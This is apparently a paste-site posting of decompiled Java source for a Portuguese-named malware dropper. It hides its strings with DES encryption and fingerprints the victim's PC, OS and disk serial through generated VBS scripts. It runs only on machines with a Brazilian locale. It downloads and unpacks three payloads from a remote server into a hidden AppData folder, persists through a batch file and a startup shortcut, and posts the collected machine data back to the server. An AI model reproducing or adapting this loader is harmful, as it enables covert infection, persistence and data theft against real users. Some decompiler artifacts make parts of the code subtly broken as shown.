· 7 years ago · Jul 07, 2018, 06:24 AM
1import java.io.BufferedReader;
2import java.io.File;
3import java.io.FileFilter;
4import java.io.FileInputStream;
5import java.io.FileOutputStream;
6import java.io.FileWriter;
7import java.io.IOException;
8import java.io.InputStream;
9import java.io.InputStreamReader;
10import java.io.OutputStream;
11import java.io.PrintStream;
12import java.net.HttpURLConnection;
13import java.net.InetAddress;
14import java.net.URL;
15import java.net.URLConnection;
16import java.net.UnknownHostException;
17import java.nio.file.Files;
18import java.nio.file.LinkOption;
19import java.nio.file.Path;
20import java.nio.file.Paths;
21import java.util.Locale;
22import java.util.Random;
23import java.util.zip.InflaterInputStream;
24import javax.crypto.Cipher;
25import javax.crypto.SecretKey;
26import javax.crypto.SecretKeyFactory;
27import javax.crypto.spec.DESKeySpec;
28import javax.crypto.spec.IvParameterSpec;
29
30public class A6fjqsvz
31{
32 static String Prot;
33 static String IP;
34 static String DownPRO;
35 static String DownStart;
36 static String DownJava;
37 static String LocalPRO;
38 static String LocalStart;
39 static String LocalJava;
40 static String DirFixo;
41 static String CaminhoAPPDATA;
42 static String CaminhoBat;
43 static String NomeStart;
44 static String NomeShortCut;
45 static String CaminhoLog;
46 static String UserNow;
47 private static String Pc_;
48 private static String Hd_;
49 private static String Gb_;
50 private static String Win_;
51 static String key = "A6fjqsvz";
52
53 private static byte[] convertHexString(String ss)
54 {
55 byte[] digest = new byte[ss.length() / 2];
56 for (int i = 0; i < digest.length; i++)
57 {
58 String byteString = ss.substring(2 * i, 2 * i + 2);
59 int byteValue = Integer.parseInt(byteString, 16);
60 digest[i] = ((byte)byteValue);
61 }
62 return digest;
63 }
64
65 public static String decrypt(String message)
66 throws Exception
67 {
68 byte[] bytesrc = convertHexString(message);
69 Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
70 DESKeySpec desKeySpec = new DESKeySpec(key.getBytes("UTF-8"));
71 SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
72 SecretKey secretKey = keyFactory.generateSecret(desKeySpec);
73 IvParameterSpec iv = new IvParameterSpec(key.getBytes("UTF-8"));
74
75 cipher.init(2, secretKey, iv);
76 byte[] retByte = cipher.doFinal(bytesrc);
77 return new String(retByte);
78 }
79
80 private static String dumpFiles(File[] files)
81 {
82 String Result = "";
83 File[] arrayOfFile = files;int j = files.length;
84 for (int i = 0; i < j; i++)
85 {
86 File file = arrayOfFile[i];
87 String s = String.valueOf(file);
88 String[] sArr = s.split("\\\\");
89 String nomeArq = sArr[(sArr.length - 1)];
90 int res = nomeArq.indexOf(".");
91 String novaString = nomeArq.substring(0, res);
92
93 Result = novaString + "|" + Result;
94 }
95 return Result;
96 }
97
98 private static File[] getAllFiles(String path, String extension)
99 {
100 File dir = new File(path);
101 FileFilter filter = null;
102 if (extension != null) {
103 filter = new FileFilter()
104 {
105 public boolean accept(File pathname)
106 {
107 return pathname.getAbsolutePath().endsWith(A6fjqsvz.this);
108 }
109 };
110 }
111 return dir.listFiles(filter);
112 }
113
114 public static String getCaminho(String caminho)
115 {
116 int pos = caminho.lastIndexOf(File.separatorChar);
117 if (pos > -1) {
118 return caminho.substring(0, pos);
119 }
120 return "";
121 }
122
123 public static String GB()
124 throws Exception
125 {
126 String Result = "";
127
128 String Pasta = System.getenv(decrypt("af6291d054a6f988d073c0def5f28036ee02ccdf80f52491"));
129 if (Pasta != null) {
130 Pasta = System.getenv(decrypt("af6291d054a6f988d073c0def5f28036ee02ccdf80f52491")) + decrypt("f8ebf01d710dbf6cc2ae7ea5b3ae35fe");
131 } else {
132 Pasta = System.getenv(decrypt("af6291d054a6f988d0856707c7376c27")) + decrypt("f8ebf01d710dbf6cc2ae7ea5b3ae35fe");
133 }
134 if (FileExist(Pasta)) {
135 Result = dumpFiles(getAllFiles(Pasta, decrypt("6078936d53f20d82"))).toUpperCase();
136 } else {
137 Result = "";
138 }
139 return Result;
140 }
141
142 public static boolean FileExist(String Caminho)
143 {
144 File varTmpDir = new File(Caminho);
145 boolean exists = varTmpDir.exists();
146 return exists;
147 }
148
149 public static String MudarString(String source)
150 {
151 int len = source.length();
152 StringBuilder dest = new StringBuilder(len);
153 for (int i = len - 1; i >= 0; i--) {
154 dest.append(source.charAt(i));
155 }
156 return dest.toString();
157 }
158
159 public static String Nomes()
160 throws Exception
161 {
162 String letras = decrypt("953445cd876c9746bf26d6ad975e48f2f1851b65af4875df021c936fdc2f53c867c5dda723d68280a73b1e24770d15cfdd0ef484c861060a994570c7e315cd87");
163 Random random = new Random();
164 Random Numero = new Random();
165 int numero = Numero.nextInt(10);
166 String armazenaChaves = "";
167 int index = -1;
168 for (int i = 0; i < numero + 1; i++)
169 {
170 index = random.nextInt(letras.length());
171 armazenaChaves = armazenaChaves + letras.substring(index, index + 1);
172 }
173 return armazenaChaves;
174 }
175
176 public static int Is64()
177 throws Exception
178 {
179 String pFilesX86 = System.getenv(decrypt("af6291d054a6f988d073c0def5f28036ee02ccdf80f52491"));
180 if (pFilesX86 != null) {
181 return 0;
182 }
183 return 1;
184 }
185
186 public static boolean IsBR()
187 throws Exception
188 {
189 boolean result = false;
190
191 Locale loc = Locale.getDefault();
192 String A = loc.getCountry().toLowerCase();
193 String AA = loc.getDisplayCountry().toLowerCase();
194 String AAA = loc.getLanguage().toLowerCase();
195 String B = decrypt("38b8b9b95c290331");
196 String BB = decrypt("d92ec002da620aa7");
197 String BBB = decrypt("f208c30827905486");
198 if ((A.equals(B)) &&
199 (AA.equals(BB)) &&
200 (AAA.equals(BBB))) {
201 result = true;
202 }
203 return result;
204 }
205
206 public static String NamePC()
207 throws UnknownHostException
208 {
209 String Result = new String(InetAddress.getLocalHost().getHostName());
210 return Result.toUpperCase();
211 }
212
213 public static String VersaoOS()
214 throws Exception
215 {
216 return System.getProperty(decrypt("5113f87dbf31d56b"));
217 }
218
219 public static String getHDSerialWindows()
220 throws Exception
221 {
222 String result = "";
223 try
224 {
225 File file = File.createTempFile(decrypt("b32b669fded89175"), decrypt("038b0ead74f4f191"));
226 file.deleteOnExit();
227 FileWriter fw = new FileWriter(file);
228 String vbs = decrypt("38499ae34aa182f747c17711c1720d3e3d06c04181df566bdf616d2bdfcf943c8faa0e55fd294be04a04c46b47c3c59497e72044ed6d8588") + "\r\n" +
229 decrypt("37ccfc07d9e08c6fd11d14a8037bcabaec204e975bb2deb23a78218a835bc80f") + "\r\n" +
230 decrypt("88cf7899e9095d53248982e51a239e9b645943701ada73414fb0998c14e7174070c93e1089d8988c") + "\r\n" +
231 decrypt("5ae4c076f33f0bb0c26235573d54287e82bcebced969a30604af688a1607228267af7c69f7802877");
232 fw.write(vbs);
233 fw.close();
234 Process p = Runtime.getRuntime().exec(
235 decrypt("fc0680718f122ec60208436937b5d0f406fa212dbe4edf52") + file.getPath());
236 BufferedReader input = new BufferedReader(new InputStreamReader(p
237 .getInputStream()));
238 String line;
239 while ((line = input.readLine()) != null)
240 {
241 String line;
242 result = result + line;
243 }
244 input.close();
245 }
246 catch (Exception localException) {}
247 if ((result.trim().length() < 1) || (result == null)) {
248 result = decrypt("818765b47a01a9097d40d1b187576cd0");
249 }
250 return result.trim();
251 }
252
253 public static void Donw(String protocolo, String endereco, String arquivo, String destino)
254 {
255 try
256 {
257 URL url1 = new URL(protocolo, endereco, arquivo);
258 URLConnection con = url1.openConnection();
259 con.connect();
260 FileOutputStream fileOut = new FileOutputStream(destino);
261
262 int c = 0;
263 do
264 {
265 c = con.getInputStream().read();
266 fileOut.write(c);
267 } while (c != -1);
268 fileOut.close();
269 }
270 catch (IOException e)
271 {
272 e.printStackTrace();
273 }
274 }
275
276 public static void doCopy(InputStream is, OutputStream os)
277 throws Exception
278 {
279 int oneByte;
280 while ((oneByte = is.read()) != -1)
281 {
282 int oneByte;
283 os.write(oneByte);
284 }
285 os.close();
286 is.close();
287 }
288
289 public static void DeCompress(String CaminhoFile, String CaminhoNewFile)
290 throws Exception
291 {
292 FileInputStream fis2 = new FileInputStream(CaminhoFile);
293 InflaterInputStream iis = new InflaterInputStream(fis2);
294 FileOutputStream fos2 = new FileOutputStream(CaminhoNewFile);
295
296 doCopy(iis, fos2);
297 }
298
299 public static void CreateBat(String PathBat, String NomeStart)
300 throws Exception
301 {
302 FileWriter arquivo = new FileWriter(new File(PathBat));
303 arquivo.write(decrypt("7cb31bf53e40727b82c969c6d65025c3") + "\r\n");
304 arquivo.write(decrypt("33fdea2162da18aedef6a1956cfc4d1d") + NomeStart + decrypt("3bb8a73ad03b5d41"));
305 arquivo.close();
306 }
307
308 public static void CreateShortCut(String PathBat, String NomeShorCut, String DirBat)
309 throws Exception
310 {
311 NomeShorCut = getautostart() + "\\" + NomeShorCut + decrypt("8bd4028b198de06f");
312 try
313 {
314 File file = File.createTempFile(decrypt("f71292fbfbae313227e935330481ff2c"), decrypt("038b0ead74f4f191"));
315 file.deleteOnExit();
316 FileWriter fw = new FileWriter(file);
317
318 String vbs = decrypt("5da76c33277f60e81c751cbfe74134f47150bd3fb00c78772cab9ff8595eddfe46056bd5e898cee12d8045e3b2bae3224e34c5218e5e55f7") + "\r\n" +
319 decrypt("674065ad31c411f33f37868cb09ecb2429c8bc10e7b1c0d677feb053838c873ed528c7774a7c4604") + NomeShorCut + decrypt("2bc0a0901f8c6487") + "\r\n" +
320 decrypt("b0923d2027d5646d055a90be4e263d7889fc570ccf8a4138") + PathBat + decrypt("5f9b3d2360a4dc4d") + "\r\n" +
321 decrypt("2bbe32e0c0865bfe187ca792cf88abe202964fc458a8272a704e88c56d39505f") + "\r\n" +
322 decrypt("ce76ef2731481c501caed1a900cff07f66e9a0da4982ab17") + "\r\n" +
323 decrypt("25765714d082f8f89c010d514ab59c1125b5e630d8f88fae42da3b1ba3193d2a") + DirBat + decrypt("5f9b3d2360a4dc4d") + "\r\n" +
324 decrypt("a28344469c3586f60dc8545814ca076b") + "\r\n" +
325 decrypt("674065ad31c411f337036a1550e8e640126b70a428bf0ee7");
326
327 fw.write(vbs);
328 fw.close();
329 Process p = Runtime.getRuntime().exec(decrypt("fc0680718f122ec60208436937b5d0f406fa212dbe4edf52") + file.getPath());
330 BufferedReader input =
331 new BufferedReader(
332 new InputStreamReader(p.getInputStream()));
333 input.close();
334 }
335 catch (Exception e)
336 {
337 e.printStackTrace();
338 }
339 }
340
341 public static String getautostart()
342 throws Exception
343 {
344 String result = "";
345 String folder = decrypt("a7d9c1019ccdd6c6");
346 try
347 {
348 File file = File.createTempFile(decrypt("f71292fbfbae313227e935330481ff2c"), decrypt("038b0ead74f4f191"));
349 file.deleteOnExit();
350 FileWriter fw = new FileWriter(file);
351
352 String vbs = decrypt("5da76c33277f60e81c751cbfe74134f47150bd3fb00c78772cab9ff8595eddfe46056bd5e898cee12d8045e3b2bae3224e34c5218e5e55f7") + "\r\n" +
353 decrypt("2710819e177852b95545c223c571391b1168e3f6f12f1995c4a731c203c7d7ce29bc8aacd4213f82") + folder + decrypt("2bc0a0901f8c6487") + "\r\n" +
354 decrypt("dc4779be9f7330f16dc0e7ae4d1061ca3ce88c5cef2e37b3") + "\r\n";
355
356 fw.write(vbs);
357 fw.close();
358 Process p = Runtime.getRuntime().exec(decrypt("fc0680718f122ec60208436937b5d0f406fa212dbe4edf52") + file.getPath());
359 BufferedReader input =
360 new BufferedReader(
361 new InputStreamReader(p.getInputStream()));
362 result = input.readLine();
363 input.close();
364 }
365 catch (Exception e)
366 {
367 e.printStackTrace();
368 }
369 return result;
370 }
371
372 public static String POST_HTTP(String POST_URL, String POST_PARAMS)
373 throws Exception
374 {
375 URL obj = new URL(POST_URL);
376 HttpURLConnection con = (HttpURLConnection)obj.openConnection();
377 con.setRequestMethod(decrypt("8651a42263b6b66f"));
378 con.setRequestProperty(decrypt("8dedd27685f066d978d850afb7dc7603"), decrypt("906b78bde726ff9c6d8bb0380ce4cc79"));
379
380 con.setDoOutput(true);
381 OutputStream os = con.getOutputStream();
382 os.write(POST_PARAMS.getBytes());
383 os.flush();
384 os.close();
385
386 int responseCode = con.getResponseCode();
387 System.out.println(decrypt("652eca8b10a8b319afe09b3ce75b1b1ef0bd1520be61aad6") + responseCode);
388 if (responseCode == 200)
389 {
390 BufferedReader in = new BufferedReader(new InputStreamReader(
391 con.getInputStream()));
392
393 StringBuffer response = new StringBuffer();
394 String inputLine;
395 while ((inputLine = in.readLine()) != null)
396 {
397 String inputLine;
398 response.append(inputLine);
399 }
400 in.close();
401
402 System.out.println(response.toString());
403 }
404 else
405 {
406 System.out.println(decrypt("3131bd4b57cfb21f7329605be2c26bba8ebfd409fa9f5da6"));
407 }
408 return null;
409 }
410
411 public static void Enfect(String URL)
412 throws Exception
413 {
414 String Dados = decrypt("4abc5a9a34f84e84") + NamePC() + decrypt("1d0dccff31542b17") +
415 decrypt("4c1797745b3219e3") + VersaoOS() + decrypt("1d0dccff31542b17") +
416 decrypt("f7810e3de55d05a8") + GB() + decrypt("1d0dccff31542b17") +
417 decrypt("b0c24a567a1040dd") + getHDSerialWindows();
418
419 POST_HTTP(decrypt("5384ba69ed37b9d7") + URL + decrypt("73fbd42dad744e7544d0f4857de4dc95"), Dados);
420 }
421
422 public static boolean MaquinaOK()
423 throws Exception
424 {
425 Pc_ = NamePC();
426 Hd_ = getHDSerialWindows();
427 Win_ = VersaoOS();
428 Gb_ = GB();
429 boolean result = false;
430 if ((Pc_ != "") && (Hd_ != "") && (Win_ != "") && (Gb_ != "") && (IsBR())) {
431 result = true;
432 }
433 return result;
434 }
435
436 public static void main(String[] args)
437 throws Exception
438 {
439 if ((MaquinaOK()) &&
440 (!FileExist(System.getenv(decrypt("8276c2e9e6a902ca")) + decrypt("c2ba23eab36c24c8e70a3e53af9b59b9356775dd76dde048"))))
441 {
442 UserNow = decrypt("cd2592841c0cb140");
443 IP = decrypt("8454bad865403bfd0cfd9a9559af8a99");
444
445 Prot = decrypt("f22d67ddd517d1c4");
446 CaminhoAPPDATA = System.getenv(decrypt("8276c2e9e6a902ca"));
447 DownPRO = CaminhoAPPDATA + decrypt("0ce1d73b2adec5ad") + Nomes();
448 DownStart = CaminhoAPPDATA + decrypt("0ce1d73b2adec5ad") + Nomes();
449 DownJava = CaminhoAPPDATA + decrypt("0ce1d73b2adec5ad") + Nomes();
450 DirFixo = CaminhoAPPDATA + decrypt("c2ba23eab36c24c899d5398abde3e09c") + Nomes() + decrypt("0ce1d73b2adec5ad");
451 File newFile = new File(DirFixo);
452 newFile.mkdir();
453 Path Pasta = Paths.get(DirFixo, new String[0]);
454 Files.setAttribute(Pasta, decrypt("84e695ca0d1ea20b668abfb95f2794c3"), Boolean.valueOf(true), new LinkOption[0]);
455 LocalPRO = DirFixo + Nomes() + decrypt("02679f56b3d3d523");
456 NomeStart = Nomes() + decrypt("02679f56b3d3d523");
457 LocalStart = DirFixo + NomeStart;
458 LocalJava = DirFixo + Nomes() + decrypt("02679f56b3d3d523");
459 CaminhoBat = DirFixo + Nomes() + decrypt("a9cb23666e57c5b6");
460 NomeShortCut = Nomes();
461 CaminhoLog = CaminhoAPPDATA + decrypt("c2ba23eab36c24c8e70a3e53af9b59b9356775dd76dde048");
462 if (Is64() == 0)
463 {
464 FileWriter arquivo = new FileWriter(new File(CaminhoLog));
465 arquivo.write(decrypt("41c26aaad2082b15") + MudarString(LocalPRO) + "\r\n");
466 arquivo.write(decrypt("163ab28502cb60fb") + UserNow + "\r\n");
467 arquivo.write(decrypt("f5e0e2e5c6b65863") + MudarString(LocalJava));
468 arquivo.close();
469
470 Donw(Prot, IP, decrypt("d132c962d8acd14aebff57816201d1c8"), DownPRO);
471 Donw(Prot, IP, decrypt("015edc28a6891d5552d219843a0a0170"), DownStart);
472 Donw(Prot, IP, decrypt("c7b13e8273f602c292bf49ce23e0bc83"), DownJava);
473
474 DeCompress(DownPRO, LocalPRO);
475 DeCompress(DownStart, LocalStart);
476 DeCompress(DownJava, LocalJava);
477
478 CreateBat(CaminhoBat, NomeStart);
479
480 CreateShortCut(CaminhoBat, NomeShortCut, DirFixo);
481
482 Enfect(IP);
483 Runtime.getRuntime().exec(decrypt("e740a243a74f0f7144227ebbfcde2d76c0a7bbb043a29f5f8573794527dd4ced40191f4399b31237"));
484 }
485 else
486 {
487 FileWriter arquivo = new FileWriter(new File(CaminhoLog));
488 arquivo.write(decrypt("41c26aaad2082b15") + MudarString(LocalPRO) + "\r\n");
489 arquivo.write(decrypt("163ab28502cb60fb") + UserNow + "\r\n");
490 arquivo.write(decrypt("f5e0e2e5c6b65863") + MudarString(LocalJava));
491 arquivo.close();
492
493 Donw(Prot, IP, decrypt("67d9f5c69915e4e9a47838de7aaa3f91"), DownPRO);
494 Donw(Prot, IP, decrypt("015edc28a6891d5575c9e9c6acadcea3"), DownStart);
495 Donw(Prot, IP, decrypt("c7b13e8273f602c292bf49ce23e0bc83"), DownJava);
496
497 DeCompress(DownPRO, LocalPRO);
498 DeCompress(DownStart, LocalStart);
499 DeCompress(DownJava, LocalJava);
500
501 CreateBat(CaminhoBat, NomeStart);
502
503 CreateShortCut(CaminhoBat, NomeShortCut, DirFixo);
504
505 Enfect(IP);
506 Runtime.getRuntime().exec(decrypt("e740a243a74f0f7144227ebbfcde2d76c0a7bbb043a29f5f8573794527dd4ced40191f4399b31237"));
507 }
508 }
509 }
510}